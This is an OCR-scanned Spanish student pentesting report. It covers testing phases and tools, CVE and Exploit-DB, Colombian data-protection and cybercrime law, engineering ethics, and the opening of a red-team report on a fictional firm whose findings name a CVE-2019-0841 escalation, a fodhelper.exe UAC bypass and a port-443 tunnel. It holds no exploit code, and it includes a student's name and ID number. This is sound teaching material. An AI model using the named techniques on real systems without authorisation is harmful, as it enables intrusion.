ataques controlados y el modelado de amenazas, se identifican las areas de
mejora necesarias en la infraestructura de seguridad. Se proponen
soluciones y recomendaciones especificas para mitigar las vulnerabilidades,
fortalecer las defensas y reducir los riesgos de futuros ataques.

Generacion de Informe Final: Una vez concluida esta fase, se elabora un
informe final detallado que documenta los escenarios de ataque, los
resultados obtenidos, las vulnerabilidades explotadas y las recomendaciones
para mejorar la ciberseguridad. Este informe proporciona a la organizacién
una vision clara de las areas criticas que requieren atencion y como
abordarlas de manera efectiva.
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Explotacion Del Sistema

La fase de simulaciéon de ataques es uno de los componentes fundamentales en un
proceso de Pentesting, donde se disefian y ejecutan escenarios de ataque
controlados con el fin de evaluar la ciberseguridad de un sistema o red. Esta etapa
busca evaluar las amenazas potenciales, analizar como el sistema responde ante
los ataques y proporcionar al propietario una comprensién precisa de las
vulnerabilidades existentes. A continuacién, se expande sobre esta fase clave del
Pentesting:

e Simulacién de Ataques y Evaluaciéon de Amenazas: Disefio de Escenarios
de Ataque: Los expertos en seguridad cibernética desarrollan escenarios de
ataque especificos basados en las vulnerabilidades previamente
identificadas. Estos escenarios representan posibles métodos que un
atacante podria utilizar para explotar debilidades en el sistema.

e Ejecucion de Ataques Controlados: Se implementan los escenarios de
ataque disefiados en entornos controlados, siguiendo estrictos protocolos
para evitar dafnos reales a los sistemas. Durante esta fase, se realizan
pruebas en busca de vulnerabilidades como inyecciones de cédigo, fallos de
autenticacion, vulnerabilidades de configuracion y otros vectores de ataque.

e Evaluacion de Respuestas del Sistema: A medida que se ejecutan los
ataques controlados, se observa como el sistema responde a cada uno de
ellos. Se evalla la deteccion, bloqueo y mitigacidon de los ataques por parte
de las defensas cibernéticas. Esta evaluacion ayuda a entender las
capacidades de respuesta del sistema frente a amenazas reales.

e Explotaciéon de Vulnerabilidades: Los escenarios de ataque se ejecutan
para explotar las vulnerabilidades detectadas y se analiza si los ataques
tienen éxito. Esto proporciona una comprension practica de como podrian ser
utilizadas las vulnerabilidades para comprometer la seguridad del sistema.

o Afinamiento de Defensas: En algunos casos, durante la simulacién de
ataques, los especialistas en seguridad cibernética pueden llevar al limite las
defensas del sistema para comprender sus puntos débiles y ajustarlas de
manera mas efectiva. Esto implica probar diferentes técnicas de ataque y
ajustar los parametros de seguridad para mejorar la deteccién y respuesta a
amenazas.

Informacién Y Reporte

Una vez finalizada esta fase, se recopilan datos detallados sobre los ataques
realizados y sus resultados. Estos datos se utilizan para generar un informe
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completo que describe los escenarios de ataque, las vulnerabilidades explotadas,
los hallazgos clave y las recomendaciones para mejorar la ciberseguridad. Este
informe es esencial para que el propietario del sistema comprenda las areas
vulnerables y tome medidas adecuadas para mitigar los riesgos.

¢ Qué herramientas se utilizan para el pentesting?

El Pentesting se apoya en diversas herramientas informaticas para cada una de sus
fases, optimizando asi la deteccidén y evaluacién de vulnerabilidades. Algunas de
estas herramientas incluyen:

e Nmap, Dnsrecon y SubFinder: Escanean sistemas, dominios y puertos
para identificar posibles vulnerabilidades y puntos débiles.

e BurpSuite: Realiza un analisis en profundidad de sistemas y sitios web,
identificando posibles fallos de seguridad.

e Nessus: Realiza analisis exhaustivos y compara con bases de datos para
identificar vulnerabilidades.

e Metasploit: Permite llevar a cabo la explotacidon de vulnerabilidades
detectadas, brindando un amplio alcance de pruebas.

¢ John the Ripper: Ayuda a descifrar contrasefas y claves encriptadas.

e Veil: Se utiliza para enmascarar cédigo malicioso y evaluar la resistencia del
sistema a ataques simulados.

e Pentesting con Python: Python se ha convertido en una opcion popular
para realizar Pentesting debido a su versatilidad y facilidad de uso. Las
bibliotecas y mddulos disponibles permiten la creacidon de scripts
personalizados para realizar pruebas especificas y automatizar tareas de
Pentesting. La flexibilidad de Python facilita la adaptacion a diferentes
situaciones y necesidades de seguridad.

¢Y por qué piensa que es una de las etapas mas importantes dentro del
pentesting?

El "footprinting" es una de las etapas mas importantes dentro del pentesting debido
a su papel fundamental en la planificacion y ejecucion exitosa de las pruebas de
seguridad. Esta etapa se centra en la recopilacién de informacién detallada sobre el
objetivo del pentesting, como sistemas, redes, infraestructura, empleados y
cualquier otra entidad relacionada. El footprinting permite a los pentesters entender
completamente la infraestructura y la presencia en linea del objetivo. Esta
informacion es esencial para disefiar un enfoque de pentesting efectivo y eficiente.
La recopilacién de informacion en la etapa de footprinting permite a los pentesters
modelar posibles escenarios de ataque. Esto es crucial para simular ataques
realistas que podrian llevarse a cabo por actores malintencionados.
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v' Metasploit es quizas una de las herramientas de importancia en el
campo de la seguridad; algunos hackers expertos desarrollan sus
propios frameworks, otros deciden utilizar frameworks existentes, por
ello su trabajo en este apartado es buscar el funcionamiento,
arquitectura y opciones que trae Metasploit el cual se encuentra
disponible desde Kali Linux. Al momento de buscar vulnerabilidades
para que estas sean explotadas por medio de algun metasploit los
expertos en ciberseguridad requieren comprender qué es un CVE y si
este contiene algun exploit para explotar la vulnerabilidad encontrada.
Dentro del proceso descrito en este apartado usted como experto en
cibserguridad debe buscar y documentar lo siguiente:

- ¢Qué es un CVE y su estructura?
- https:/lwww.exploit-db.com/ como se utiliza y como se articula con el
CVE?

CVE:® El Glosario de Vulnerabilidades y Exposiciones Comunes (CVE) es un
proyecto de seguridad respaldado por la Division de Seguridad Nacional de EE. UU.
y gestionado por la Corporacion MITRE. Su enfoque es el software de lanzamiento
publico y utiliza el Protocolo de Automatizacion de Contenido de Seguridad (SCAP)
para recopilar informacién sobre vulnerabilidades y exposiciones de seguridad.
Estas son catalogadas y asignadas a identificadores unicos.

Cada vulnerabilidad documentada recibe una identificacion Unica por parte de
MITRE. Pocos dias después de ser publicadas en la base de datos de
vulnerabilidades de MITRE, |la Base de Datos Nacional de Vulnerabilidades (NVD)
las publica junto con un analisis de seguridad.

El CVE, segun la definicion de MITRE, es un glosario o diccionario de
vulnerabilidades y exposiciones disponibles al publico. Su objetivo es proporcionar
una referencia estandar para la industria, permitiendo la comunicacion y discusion
coherente sobre vulnerabilidades especificas. Esto facilita la interaccion entre
avisos de seguridad, rastreadores de errores y bases de datos alrededor de la
misma vulnerabilidad, creando un "lenguaje comun" para abordar estos temas en la
comunidad de seguridad.

5 ciberseguridad. (s.f.). [Sitio Web]. ciberseguridad. Obtenido de ¢QUE ES CVE? EXPLICACION DE LAS
VULNERABILIDADES Y EXPOSICIONES COMUNES [consultado el 07 de Octubre 2023]. Disponible en:
https://ciberseguridad.com/herramientas/marco-mitre-att-ck/cve-vulnerabilidades-exposiciones-comunes/
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Incorporacion de una CVE®

El proceso de incorporacion de una nueva vulnerabilidad al listado CVE consta de
tres etapas:

e Etapa de presentacion inicial y tratamiento: EI CVE Content Team analiza
y procesa las solicitudes de registro de nuevas vulnerabilidades. Se investiga
y evalua la informacién proporcionada.

e Etapa de candidatura: En esta fase, se asigna el CVE-ID, el identificador
unico. Puede ocurrir de tres maneras: asignacién directa por el CVE Content
Team, asignacion directa por el CVE Editor en caso de vulnerabilidades
criticas sin autor claro, o reserva de un CVE-ID por parte de organizaciones
antes de hacer la propuesta.

e Etapa de publicacion en la lista (si es aceptada la candidatura): Se
agrega la entrada a la lista y se publica en el sitio web del diccionario CVE.
Puede llevar tiempo debido a procesos de revisidon y ajustes en la descripcion
o referencias.

Estas etapas explican por qué la lista CVE no incluye vulnerabilidades de dia cero
(recién descubiertas), ya que el proceso involucra analisis y verificacion antes de su
publicacion.

Formato’

Los elementos de la lista CVE se identifican mediante formatos llamados CVE-ID,
gue siguen estas formas:

e Para las entradas CVE: CVE-YYYY-NNNN (YYYY representa el afio y
NNNN el numero de la vulnerabilidad). Desde enero de 2014, el identificador
puede tener mas de cuatro digitos si es necesario.

e Para las entradas candidatas a CVE: CAN-YYYY-NNNN (YYYY representa
el afio y NNNN el numero de la vulnerabilidad).

6 wikipedia. (12 de Julio de 2023). [Sitio Web]. wikipedia. Obtenido de Common Vulnerabilities and Exposures
[consultado el 07 de Octubre 2023]. Disponible en:
https://es.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
7 wikipedia. (12 de Julio de 2023). [Sitio Web]. wikipedia. Obtenido de Common Vulnerabilities and Exposures
[consultado el 07 de Octubre 2023]. Disponible en:
https://es.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
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Exploit-DB?

Exploit Database (Exploit-DB) es una plataforma en linea que proporciona una
amplia coleccion de exploits y vulnerabilidades para diferentes aplicaciones,
sistemas operativos y dispositivos. Esta base de datos es una valiosa herramienta
para investigadores de seguridad, profesionales de ciberseguridad y pentesters que
desean acceder a exploits ya conocidos y sus detalles técnicos para fines de prueba
y analisis.

A continuacién, se describe codmo se utiliza Exploit Database:

e Acceso a la Plataforma: Visita el sitio web oficial de Exploit Database en
https://www.exploit-db.com/.

e Navegacién: Utiliza la barra de busqueda o las categorias disponibles para
explorar los exploits por tipo de software, sistema operativo o plataforma.
Puedes buscar exploits por palabras clave, nombres de programas o
nombres de fabricantes.

e Exploracion de Resultados: Después de realizar una busqueda, obtendras
una lista de resultados que coinciden con tus criterios. Cada resultado incluira
detalles como el titulo del exploit, su ID de CVE (si esta disponible), una
descripcion breve y el enlace para ver mas detalles.

o Detalles del Exploit: Al hacer clic en un resultado especifico, accederas a la
pagina completa del exploit. Aqui encontraras informacién detallada sobre la
vulnerabilidad, el exploit y cobmo funciona. Esto incluye el cédigo del exploit,
detalles sobre la vulnerabilidad especifica y, a veces, informacion sobre como
se puede mitigar o solucionar el problema.

e Descarga y Uso: Si tienes experiencia en seguridad informatica y estas
utilizando Exploit Database con fines legales y éticos, puedes descargar el
coédigo del exploit desde la pagina y usarlo para realizar pruebas de
penetracion en sistemas o aplicaciones especificas. Sin embargo, es
fundamental que utilices Exploit Database de manera responsable y legal,
siempre con el permiso adecuado.

8 Exploit. (s.f.). ExploitDB. [Sitio Web]. Obtenido de Exploit DataBase [consultado el 07 de Octubre 2023].
Disponible en: https://www.exploit-db.com/
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Contribucion: Si descubres un nuevo exploit o vulnerabilidad, puedes
contribuir a Exploit Database enviando la informacion relevante para que
otros puedan beneficiarse de tu investigacion.

Actualizaciones: Exploit Database se actualiza regularmente a medida que
se descubren y documentan nuevas vulnerabilidades y exploits. Es
importante mantenerse al dia con las ultimas incorporaciones y verificar si
hay actualizaciones para las vulnerabilidades que estas investigando.

¢, Como Articular Con CVE?

Exploit Database (Exploit-DB) y el Glosario de Vulnerabilidades y Exposiciones
Comunes (CVE) son dos recursos importantes en el campo de la seguridad
cibernética que se utilizan de manera conjunta para identificar, analizar y mitigar
vulnerabilidades en sistemas y aplicaciones. A continuacion, se explica como se
pueden articular Exploit-DB y CVE:

Busqueda de CVE en Exploit-DB: Exploit-DB a menudo proporciona
detalles sobre exploits especificos que estan relacionados con
vulnerabilidades conocidas y documentadas en la base de datos CVE.
Puedes buscar exploits en Exploit-DB utilizando términos clave, como el
nombre del software o del sistema operativo afectado, y ver si existe un
exploit asociado con una vulnerabilidad CVE especifica.

Relacion entre CVE y Exploits: En la descripcion de un exploit en Exploit-
DB, es posible que encuentres referencias a un identificador CVE
correspondiente a la vulnerabilidad que el exploit aprovecha. Esto ayuda a
establecer una relaciéon entre el exploit especifico y la vulnerabilidad
catalogada en el glosario CVE.

Analisis y Validacion: Cuando encuentres un exploit en Exploit-DB que
menciona un identificador CVE, puedes utilizar esa informacién para
investigar mas a fondo la vulnerabilidad en la base de datos CVE. La entrada
de CVE proporcionara detalles adicionales sobre la vulnerabilidad, su
gravedad, los sistemas afectados y cualquier parche o solucion disponible.

Mitigacion y Soluciones: Al identificar una vulnerabilidad en Exploit-DB que

esta vinculada a un CVE especifico, podras obtener informacién mas
completa sobre como mitigar o resolver el problema. Puedes encontrar
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detalles sobre parches de seguridad, recomendaciones del fabricante y
medidas correctivas que ayudaran a proteger los sistemas afectados.

e Compartir Informacion: Si descubres un nuevo exploit o vulnerabilidad que
aun no ha sido vinculada a un identificador CVE, puedes contribuir a la
comunidad de seguridad informatica compartiendo los detalles tanto en
Exploit-DB como en la base de datos CVE. Esto ayudara a que otros
investigadores y profesionales puedan acceder a la informacion y tomar las
medidas necesarias para proteger sus sistemas.

¢ Investigacion Avanzada: La combinacion de Exploit-DB y CVE es
especialmente valiosa para realizar investigaciones de seguridad mas
profundas. Puedes utilizar Exploit-DB para acceder a exploits concretos y
luego utilizar el identificador CVE para acceder a detalles mas técnicos y
contextuales en la base de datos CVE.

3 Etapa 2 actuacion ética y legal

v ¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢ Qué
parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad? En caso de existir lineas de texto que orienten el
acuerdo de confidencialidad a procesos ilegales debera resaltar,
explicar y argumentar porqué se torna ilegal este acuerdo de
confidencialidad.

¢ En cuanto a la definicién de proteccién de datos personales dada por la Ley
1581 de 2012° en las consideraciones 1 y 2 ademas de las clausulas
primera, segunda, tercera, cuarta y quinta dan una mencién muy vaga y en
ningun momento definen de manera concreta como se van a manejar estos
datos. La Ley 1581 de 2012 se refiere a la proteccion de datos personales y
establece requerimientos especificos para el tratamiento de esta informacion.

9 publica, D. a. (18 de Octubre de 2012) . [Sitio Web]. Funcion Publica. Obtenido de Ley 1581 de 2012. .
[consultado el 07 de Octubre 2023]. Diponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma pdf.php?i=49981
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Durante todo el documento no se menciona en ninguno de los parrafos
acerca del consentimiento informado para la recoleccion, almacenamiento y
tratamiento de los datos, segun la Ley 1581, es importante obtener el
consentimiento informado de las personas cuyos datos personales se
recopilan y procesan.

En ninguno de los parrafos se hace mencion acerca del derecho de los
titulares de los datos utilizados. Segun lo establecido en la Ley 1581, el
derecho de acceso, rectificacion, actualizacidén y supresion de la informacion
personal son derechos fundamentales en la proteccion de datos personales.

Nunca se menciona cuales serian las medidas de seguridad tomadas para la
transferencia de estos datos fuera del territorio nacional ni de si se informara
a los titulares de la informacién sobre esta transferencia.

En ninguno de los parrafos detalla cuales seran las medidas de seguridad
técnicas, administrativas y fisicas utilizadas para la proteccion de la
informacion personal, estas medidas estan detalladas dentro de la ley 1581.

La ley exige que las entidades que recolectan y almacenan datos personales
registren sus bases de datos en el Registro Nacional de Bases de Datos. No
hay mencién de esto en ninguno de los parrafos del acuerdo.

En la Tercera consideracion se hace menciona a la proteccion de la intimidad,
la honra y el buen nombre de las personas, pero esta no hace mencién en
ningun momento como se manejaran estos aspectos de acuerdo con la ley.

El acuerdo no establece por cuanto tiempo se conservaran los datos
confidenciales. La ley establece que los datos personales solo deben
conservarse durante el tiempo necesario para cumplir con los fines para los
que se recopilaron.

No se mencionan los derechos y responsabilidades del receptor de los datos
confidenciales en relacion con la Ley 1581.

No se contempla en ninguno de los parrafos cdémo se manejaran las

solicitudes de rectificacion y actualizacién de los datos personales de
acuerdo con los derechos de los titulares.
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v' Si usted como profesional en ciberseguridad logré encontrar alguin
proceso ilegal en el anexo 3 — Acuerdo, debera citar puntualmente ley
colombiana y articulo que se podria estar violentando en dicho
documento.

Basado en el Anexo 3y en las fallas identificadas en relacion con la Ley 158110 de
Colombia, estos son los articulos que podrian estar siendo vulnerados:

e Articulo 2: Principios de la Ley. El texto no aborda adecuadamente los
principios de la ley, como la finalidad, veracidad, seguridad, confidencialidad
y otros.

e Articulo 7: Consentimiento. No se menciona como se obtiene y documenta
el consentimiento informado para el tratamiento de datos personales.

e Articulo 8: Tratamiento de Datos Sensibles. El texto no distingue ni aborda
especificamente el tratamiento de datos sensibles ni su proteccién adecuada.

e Articulo 10: Deberes de los Responsables del Tratamiento. El acuerdo no
menciona los deberes y obligaciones del responsable del tratamiento de
datos (HackerHouse).

e Articulo 11: Deberes de los Encargados del Tratamiento. No se mencionan
los deberes y obligaciones de la parte receptora (el estudiante) como
encargado del tratamiento de datos.

e Articulo 12: Transmision de Datos a Terceros. No se mencionan las medidas
y requisitos para la transmision de datos a terceros.

e Articulo 13: Funciones del Responsable del Tratamiento. El acuerdo no
establece como se atenderan las solicitudes de los titulares de datos en
relacidon con sus derechos.

e Articulo 15: Derechos de los Titulares. No se mencionan los derechos de los
titulares de datos personales ni como seran ejercidos.

e Articulo 17: Registro Nacional de Bases de Datos. No se hace referencia al
registro de la base de datos en el Registro Nacional de Bases de Datos.

10 publica, D. a. (18 de Octubre de 2012) . [Sitio Web]. funcién Publica. Obtenido de Ley 1581 de 2012. .
[consultado el 07 de Octubre 2023]. Disponible en:
https://www.funcionpublica.gov.co/eva/gestornormativo/norma pdf.php?i=49981
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Articulo 18: Medidas de Seguridad. El texto no establece como se
implementaran las medidas de seguridad adecuadas para proteger los datos
personales.

Articulo 21: Responsabilidad de los Encargados del Tratamiento. No se
abordan las responsabilidades del encargado del tratamiento de datos (la
parte receptora) en caso de incumplimientos.

Articulo 26: Transferencia de Datos a Paises Extranjeros. No se mencionan
las medidas de seguridad y requisitos para las transferencias internacionales
de datos.

Articulo 27: Responsabilidad del Responsable y del Encargado del
Tratamiento. El texto no aborda adecuadamente la responsabilidad en caso
de incumplimientos de los deberes establecidos en la ley.

Articulo 28: Responsabilidad de los Encargados del Tratamiento. No se
establece como se manejaran los datos confidenciales y las
responsabilidades del encargado del tratamiento.

Articulo 29: Excepciones al Consentimiento. El texto no menciona cémo se
manejaran las excepciones al consentimiento y el manejo de datos sin
consentimiento.

Articulo 31: Derechos del Titular. El acuerdo no establece como se
manejaran las solicitudes de los titulares de datos en relacion con sus
derechos.

Articulo 37: Registro Nacional de Bases de Datos. No se hace referencia al
registro de la base de datos en el Registro Nacional de Bases de Datos.

El sueldo para los puestos de Red tema y Blue team estan entre los
$17.000.000 y los 22.000.000 respectivamente. ;Si usted llegara a
encontrar procesos ilegales en el acuerdo de confidencialidad usted
aceptaria contrato y acuerdo de confidencialidad de la organizacion
HackerHouse, aun conociendo lo que podria disponer COPNIA en su
codigo de ética y sanciones en Colombia para profesionales de
ingenieria? Para justificar esta respuesta se recomienda que consulte
directamente en la pagina oficial de COPNIA para generar una respuesta
coherente: https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica
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Rechazaria firmemente el acuerdo propuesto debido a que contraviene numerosos
de los principios y deberes fundamentales que todo ingeniero debe acatar, tal como
se establece en el Cédigo de Etical! que rige nuestra profesion. La infraccién de
estos principios comprometeria la integridad y responsabilidad que los ingenieros
tienen en su desempenio.

Un ejemplo claro de estas transgresiones se encuentra en el articulo 34, inciso A
del Cédigo de Etica, el cual enfatiza la prohibicién categérica de aceptar trabajos
que vayan en contra de las disposiciones legales vigentes. Aceptar un acuerdo que
no cumple con los estandares éticos y legales establecidos equivaldria a una clara
violacion de este precepto, socavando la credibilidad y el compromiso con el
cumplimiento de la ley que debe prevalecer en la actuacién de un ingeniero.
Asimismo, el articulo 35, inciso b, establece la imperiosa obligacion de respetar y
asegurar el respeto de todas las disposiciones legales y reglamentarias en el
ejercicio de la profesion. Esto implica no solo el respeto personal, sino también el
deber de denunciar cualquier violacion o irregularidad que se detecte. Aceptar un
acuerdo que no cumple con los estandares éticos y legales implicaria no solo la falta
de respeto por la ley, sino también la omisién en el deber de denunciar posibles
transgresiones.

El inciso C del mismo articulo enfatiza la responsabilidad de velar por el prestigio de
la profesion. Un acuerdo que no se ajusta a los principios éticos y legales puede
poner en riesgo la imagen y la confianza en los ingenieros como profesionales
responsables y comprometidos. Ademas, el Cédigo de Etica establece la obligacion
de denunciar cualquier infraccion o falta al cédigo que el ingeniero tenga
conocimiento en el ejercicio de su profesion. No cumplir con este deber de denuncia
puede resultar en la propagacién de conductas incorrectas y en la perpetuacion de
comportamientos inadecuados en el ambito profesional.

Por ultimo, el cddigo establece el deber de custodiar y proteger los bienes, valores,
documentos e informacion confiados al ingeniero. Al no asegurarse de que los datos
confidenciales y la informacion se manejen de manera adecuada y segura,
estariamos incumpliendo con nuestra responsabilidad de custodiar los recursos
encomendados y garantizar su correcto uso.

En conclusidn, la aceptacion de un acuerdo que no cumple con los principios éticos
y legales establecidos en nuestro Cédigo de Etica equivaldria a traicionar nuestra
profesién y nuestra responsabilidad con la sociedad. Es fundamental que como
ingenieros nos mantengamos fieles a los principios y deberes que establece
COPNIA, salvaguardando la confianza y la integridad que se espera de nosotros en
cada paso de nuestra labor profesional.

11 COPNIA. (2015). [Sitio Web]. Cédigo de ética. Obtenido de Consejo Profesional Nacional de Ingenieria
[consultado el 15 de Agosto 2023]. Disponible en:
https://www.copnia.gov.co/sites/default/files/node/page/field insert file/codigo etica.pdf
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v' Debera buscar alguna noticia de cibercrimen en Colombia y redactar su
punto de vista teniendo en cuenta las implicaciones legales y éticas que
alli se pudieron generar. Se solicita que mencione la ley y articulo el cual
logre explicar los delitos expuestos en la noticia que consulté.

El articulo consultado se titula jCuidado! Delincuentes estédn usando codigos QR
para estafar a sus victimas'?> donde se advierte sobre el uso de codigos QR por
parte de delincuentes para cometer estafas. Se sefiala como estos codigos QR
estan siendo utilizados en diversos engafios, como redireccionar a sitios web falsos
o robar informacién personal y bancaria de las victimas. Se destaca la importancia
de verificar la autenticidad de los cddigos QR antes de escanearlos y se ofrecen
recomendaciones para prevenir ser victima de estas estafas. Ademas, se
mencionan casos concretos de personas que han sido afectadas por esta modalidad
de fraude.

La proliferacion de estafas utilizando cddigos QR es una muestra de cémo los
delincuentes estan adaptandose a la tecnologia para aprovecharse de la confianza
y la conveniencia que estos cédigos ofrecen. Es crucial que los usuarios se
mantengan alerta y sigan practicas de seguridad solidas al interactuar con cédigos
QR, como verificar su autenticidad antes de escanearlos y evitar proporcionar
informacion personal sensible a través de estos codigos.

Esta situacion también subraya la importancia de la educacion en seguridad
cibernética para el publico en general. Los usuarios deben ser conscientes de las
posibles amenazas en linea y estar equipados con el conocimiento necesario para
protegerse a si mismos. A medida que la tecnologia evoluciona, es fundamental
mantenerse informado sobre las tacticas de estafa en constante cambio y tomar
medidas proactivas para protegerse contra ellas.

En ultima instancia, aunque la conveniencia de los cédigos QR es innegable, esta
noticia nos recuerda que siempre debemos ser cautelosos y diligentes al interactuar
con la tecnologia, especialmente cuando se trata de compartir informacion personal
o financiera.

Los posibles articulos de la Ley 12732 que podrian estar involucrados en casos de
estafas con cédigos QR son:

12 Espectador, R. T. (21 de Enero de 2022). [Sitio Web]. jCuidado! Delincuentes estan usando cédigos QR para
estafar a sus victimas. Obtenido de EL ESPECTADOR [consultado el 15 de Agosto 2023]. Disponible en:
https://www.elespectador.com/tecnologia/cuidado-delincuentes-estan-usando-codigos-qr-para-estafar-a-

sus-victimas/

13 Colombia, R. d. (5 de Enero de 2009). [Sitio Web]. SIC. Obtenido de LEY 1273 DE 2009 [consultado el 07 de
Octubre 2023]. Disponible en:
https://www.sic.gov.co/recursos user/documentos/normatividad/Ley 1273 2009.pdf
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Articulo 269C. Interceptacion De Datos Informaticos: Este articulo
establece que el que, sin orden judicial previa intercepte datos informaticos
en su origen, destino o en el interior de un sistema informatico, incidira en
pena de prision de treinta y seis (36) a setenta y dos (72) meses.

Articulo 269F. Violacion de datos personales: Este articulo establece que
quien, sin autorizacién y en perjuicio de otro, acceda, capture, intercepte,
modifique, suprima, destruya o divulgue informacion contenida en un sistema
informatico, incidira en penas que pueden ir desde prision hasta una multa.

Articulo 269G. Suplantacion De Sitios Web Para Capturar Datos
Personales: Este articulo establece que quien con intenciones ilicitas y sin
estar facultado para ello, disefie, desarrolle, trafique, venda, ejecute,
programe o envie paginas electronicas, enlaces o ventanas emergentes, y
puede incurrir en ‘pena de prision, una multa siempre que no incurra en
delitos mas graves.

Articulo 2691. Hurto Por Medios Informaticos Y Semejantes: Este articulo
establece que la persona que, manipulando un sistema informatico, una red
de sistema electrénico, telematico u otro medio semejante, o suplantando a
un usuario ante los sistemas de autenticacion y de autorizacidon establecidos,
incidira en las penas senaladas en el articulo 240 de este Codigo.

En todos los casos, si alguien utiliza cdédigos QR para redirigir a sitios web falsos o
robar informacion personal y bancaria, podrian estar infringiendo estos articulos.
Las consecuencias legales podrian incluir penas de prision y multas, cuya duracion
y monto dependeran de la gravedad de la infraccién y de las circunstancias
especificas de cada caso.

4 Etapa 3 ejecucion pruebas de intrusion

Objetivos del Ejercicio

El ejercicio de Red Team tiene los siguientes objetivos clave:

v' Evaluar la resistencia de las defensas de seguridad de la Empresa

HackerHouse contra amenazas cibernéticas realistas y ataques avanzados.

v Identificar y documentar debilidades en la infraestructura, aplicaciones,

politicas y procedimientos de seguridad.

v Evaluar la capacidad de respuesta del equipo de seguridad de la Empresa

HackerHouse ante incidentes de seguridad.
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v

Proporcionar recomendaciones concretas y acciones correctivas para
mejorar la seguridad y la preparacion para amenazas cibernéticas.

Alcance del Ejercicio

El alcance del ejercicio de Red Team incluira lo siguiente:

v
v

v

Evaluacion del equipo de computo que contiene un Windows 10 X64.
Evaluacion de la seguridad de las aplicaciones web y moviles en uso por la
empresa.

Pruebas de ingenieria social limitadas para evaluar la conciencia de
seguridad del personal y la respuesta ante correos electronicos.

Metodologia Utilizada

Para llevar a cabo este ejercicio de Red Team, se utilizara una metodologia integral
que incluira las siguientes fases:

*

Reconocimiento y Recopilacion de Informacién: Se recopilara
informacion sobre la empresa y sus activos, principalmente sobre el equipo
de computo comprometido.

Escaneo y Enumeracion: Se llevara a cabo un escaneo de red para
identificar servicios y sistemas disponibles. Se realizara una enumeracion de
servicios y aplicaciones para obtener informacion adicional.

Exploracion de Vulnerabilidades: Se identificaran  posibles
vulnerabilidades en sistemas y aplicaciones y se evaluara su explotabilidad.

Pruebas de Penetracion: Se realizaran pruebas de penetracion éticas para
explotar vulnerabilidades y ganar acceso a sistemas o datos sensibles.

Escalada de Privilegios: Se buscaran oportunidades para escalar
privilegios y obtener un mayor control sobre los sistemas comprometidos.

Mantenimiento de Acceso: Se evaluaran técnicas para mantener el acceso
a sistemas comprometidos incluso después de reinicios.

Documentacion y Presentacion de Informes: Se documentaran

detalladamente todas las actividades, hallazgos y recomendaciones, y se
presentaran en un informe completo.
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Descripcion de la Infraestructura y Sistemas Objetivo

La organizacion HackerHouse encontré que uno de sus equipos de computo que
contenia un Windows 10 X64 fue vulnerado de algun modo. El administrador de
dicho equipo se percato que habia creado un archivo con extension .txt ubicado en
el escritorio y el cual contenia los campos:

Nombre_estudiante_codigo_fecha_actividad, este archivo en mencion ya no se
encontraba en la ubicacion descrita anteriormente.

El administrador de la computadora afectada menciona un dato bastante valioso
para el equipo Red Team de HackerHouse y es que mediante un whatsapp web un
companero de trabajo le envié un archivo con el nombre PoCseminario.exe el cual
procedié a descargar y a ejecutar en la computadora afectada.

El administrador de Ila computadora afectada menciona las siguientes
caracteristicas de la computadora en general:

e Tenia un S.O Windows 10 a 64 bits

e Los sistemas de seguridad tanto del S.O como externos se encontraban
desactivados totalmente (Firewall, Windows Defender, Antivirus entre otros)

e Contaba con un archivo de texto ubicado en el escritorio

¢ Recuerda haber ejecutado un archivo .exe con el nombre
PoC_cedulaestudiante

Resumen Ejecutivo

Ejercicio de Red Team - Empresa HackerHouse

Fecha: 10 septiembre de 2023

Equipo de Red Team: Mishell Karina Rojas Montealegre

Hallazgos Clave:

Durante el ejercicio de Red Team llevado a cabo en la infraestructura de la Empresa
HackerHouse, se identificaron una serie de hallazgos criticos y preocupantes que

requieren atencion inmediata. Los principales hallazgos son los siguientes:

- Vulnerabilidad de DLL Hijacking: Se detectdé una vulnerabilidad critica de
escalda de privilegios utilizando la vulnerabilidad CVE-2019-0841 para
obtener control de archivos para ejecutar cédigo malicioso y secuestrar
dichos archivos.
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- Falta de Parches Criticos: Se identificaron sistemas que no han recibido
parches de seguridad criticos. Esto deja la infraestructura vulnerable a
ataques conocidos que podrian resultar en la explotaciéon exitosa.

- Vulnerabilidad de Escalada de Privilegios: Se identifico una vulnerabilidad
critica por la cual utilizando bypass para eludir el control de acceso mediante
el archivo fodhelper.exe para acceder a una consola en modo administrador.

- Acceso Remoto a la Maquina: Se detecto un acceso ilegal a la maquina
mediante un tunel por el puerto 443 por la ejecucion de codigo malicioso.

Recomendaciones Clave:

Para mitigar los riesgos identificados y fortalecer la seguridad de la infraestructura,
se recomiendan las siguientes acciones inmediatas:

- Aplicacion de Parches Criticos: Se debe priorizar la aplicacién de los
parches de seguridad criticos en todos los sistemas y servidores afectados.

- Evitar Descargas de Software Desconocido: Se deben implementar
politicas para evitar descargas ilegales o descargas de archivos o ejecutables
de origen desconocido.

- Auditoria de Seguridad Continua: Se recomienda implementar una
auditoria de seguridad continua para detectar y mitigar amenazas de manera
proactiva.

- Formacioén en Seguridad: Se debe proporcionar capacitacion en seguridad
cibernética a todo el personal para aumentar la conciencia y la capacidad de
respuesta ante amenazas.

- Monitorizacion de Eventos de Seguridad: Se debe establecer una
monitorizacion continua de eventos de seguridad para detectar actividad
inusual o sospechosa y responder de manera eficaz.

- Cierre de Puerto: Se debe realizar un cierre de puertos TCP que no se
encuentren utilizando para evitar accesos no autorizados.

Estas recomendaciones son cruciales para garantizar la seguridad de la Empresa
HackerHouse y reducir la exposicion a posibles amenazas. Se insta a la direccion y
al equipo de seguridad a tomar medidas inmediatas para abordar los hallazgos y
fortalecer la postura de seguridad de la organizacion.
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Detalles Técnicos
Hallazgo 1: Vulnerabilidad de Acceso Remoto a la Maquina

Descripcion: El administrador de dicho equipo se percaté que habia creado un
archivo con extension .txt ubicado en el escritorio y el cual contenia los campos:
Mishell_Karina_Rojas_1010142031_10092023, este archivo en mencidén ya no se
encontraba en la ubicacién descrita anteriormente. El administrador de la
computadora afectada menciona que mediante un whatsapp web un companero de
trabajo le envidé un archivo con el nombre PoCseminario.exe el cual procedio a
descargar y a ejecutar en la computadora afectada.

Pruebas Realizadas: primero se realizd un escaneo de puertos a la red de la
compafia para identificar posibles puertos extrafios que se encuentren abiertos,
para esto se utilizd la herramienta nmap para hacer un escaneo de la red (/lustracion

1).

udamlrica

443 /tcp open  https

